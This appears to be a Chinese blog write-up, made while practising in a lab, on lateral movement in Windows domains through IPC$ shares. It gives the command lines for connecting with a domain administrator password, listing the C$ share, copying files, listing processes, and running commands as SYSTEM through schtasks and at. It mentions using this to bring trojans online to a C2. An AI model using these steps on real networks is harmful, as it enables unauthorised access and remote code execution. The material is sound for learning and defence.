IPC
IPC
今天在看微信公众号时,看到一篇IPC总结,想到之前打靶场的时候有用到过这个,只是跟着教程做,也不知道是做什么,可能到这篇特意跟着梳理一下
原文:
域内横向总结系列-IPChttps://mp.weixin.qq.com/s/GvYx3gm0r8hXGWtReXk9eA
https://cloud.tencent.com/developer/article/1937086
https://blog.csdn.net/qq_34144916/article/details/81184434
什么是IPC
IPC$ (Internet Process Connection) 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
PC$是NT2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。
NT2000在提供了 IPC$ 共享功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$、D$、E$……)和系统目录共享(Admin$)。
所有的这些初衷都是为了方便管理员的管理。但好的初衷并不一定有好的收效,一些别有用心者会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测。
IPC利用条件
开启139、445端口
管理员开启了默认共享(默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘,和系统目录winnt或Windows(admin$)。通过ipc$可以实现对这些默认共享目录的访问。)
获取目标主机的账号密码(hash
IPC利用方法
通过建立ipc管道连接可以读取目标主机的目录、文件也可以上传下载文件,还可以通过定时任务命令执行上传到目标主机的木马上线到C2。
下面来试试一些常用命令,就拿之前的day1靶场来试试
web服务器:192.168.111.128/192.168
域控:192.168.52.138
建立IPC连接:
net use \\192.168.52.138 /u:god\administrator admin@123 |
再查看下ipc连接情况
net use |
删除IPC连接
net use \\192.168.52.138 /de /y |
查看目标共享资源
net view \\192.168.52.138 |
列出目标下C盘资源
net view \\192.168.52.138\c$ |
上传文件到目标机器C盘,如果有过了,会让你选择是否覆盖
copy .\1.txt \\192.168.52.138\c$\ |
查看刚上传上去的文件内容
type \\192.168.52.138\c$\1.txt |
下载目标机器文件到本机
copy \\192.168.52.138\c$\a.txt . > 2.txt |
列出目标主机的进程,可以看到目标机器有没有杀软
tasklist /S 192.168.52.138 /U Administrator /P admin@123 |
创建计划任务,schtasks(计划任务)
Windows Vista、Windows Server 2008及之后版本的操作系统已经弃用at命令,而转为用schtasks命令。schtasks命令比 at 命令更灵活。在使用schtasks命令时,会在系统中留下日志文件:C:\Windows\Tasks\SchedLgU.txt.这里因为是win2003,所以还是用st测试
St:
schtasks /create /tn test /U got\administrator /P admin@123 /tr "cmd /c ipconfig > c:\ipconfig.txt" /sc MINUTE /mo 1 /s 192.168.52.138 /RU system |
/tn test
: 指定要创建的计划任务的名称为 “test”。/tr "cmd /c ipconfig > c:\ipconfig.txt"
: 指定计划任务要运行的命令,这里是运行ipconfig
命令并将结果输出到c:\ipconfig.txt
文件。/sc MINUTE
: 指定计划任务的触发器类型为分钟级别。/mo 1
: 指定每隔 1 分钟运行一次该任务。/RU system
: 指定要用于运行任务的用户账户为系统账户。
执行计划任务
schtasks /run /tn test /s 192.168.52.138 /U god\administrator /P admin@123 |
删除计划任务
schtasks /F /delete /tn test /s 192.168.52.138 /U god\administrator /P admin@123 |
at命令
使用at前需要建立IPC连接
执行命令
at \\192.168.52.138:40AM cmd /c "ipconfig > c:\i.txt" |
清除记录
at \\192.168.52.138 作业ID /delete |
IPC$连接失败的原因及常见错误号
连接失败原因
- 用户名或密码错误
- 目标主机没有开启IPC$共享
- 不能成功连接目标主机的139、445端口
- 命令输入错误
常见错误号
- 错误号5:拒绝访问
- 错误号51:Windows无法找到网络路径,及网络中存在问题
- 错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的lanmanserver服务未启动,目标防火墙过滤了端口
- 错误号67:找不到网络名,包括 lanmanworkstation 服务未启动,IPC$已被删除
- 错误号1219:提供的凭据与已存在的凭据集冲突。例如已经和目标建立了IPC$连接,需要在删除后重新连接
- 错误号1326:未知的用户名或错误的密码
- 错误号1792:试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动(连接域控制器时会出现此情况)
- 错误号2242:此用户的密码已经过期。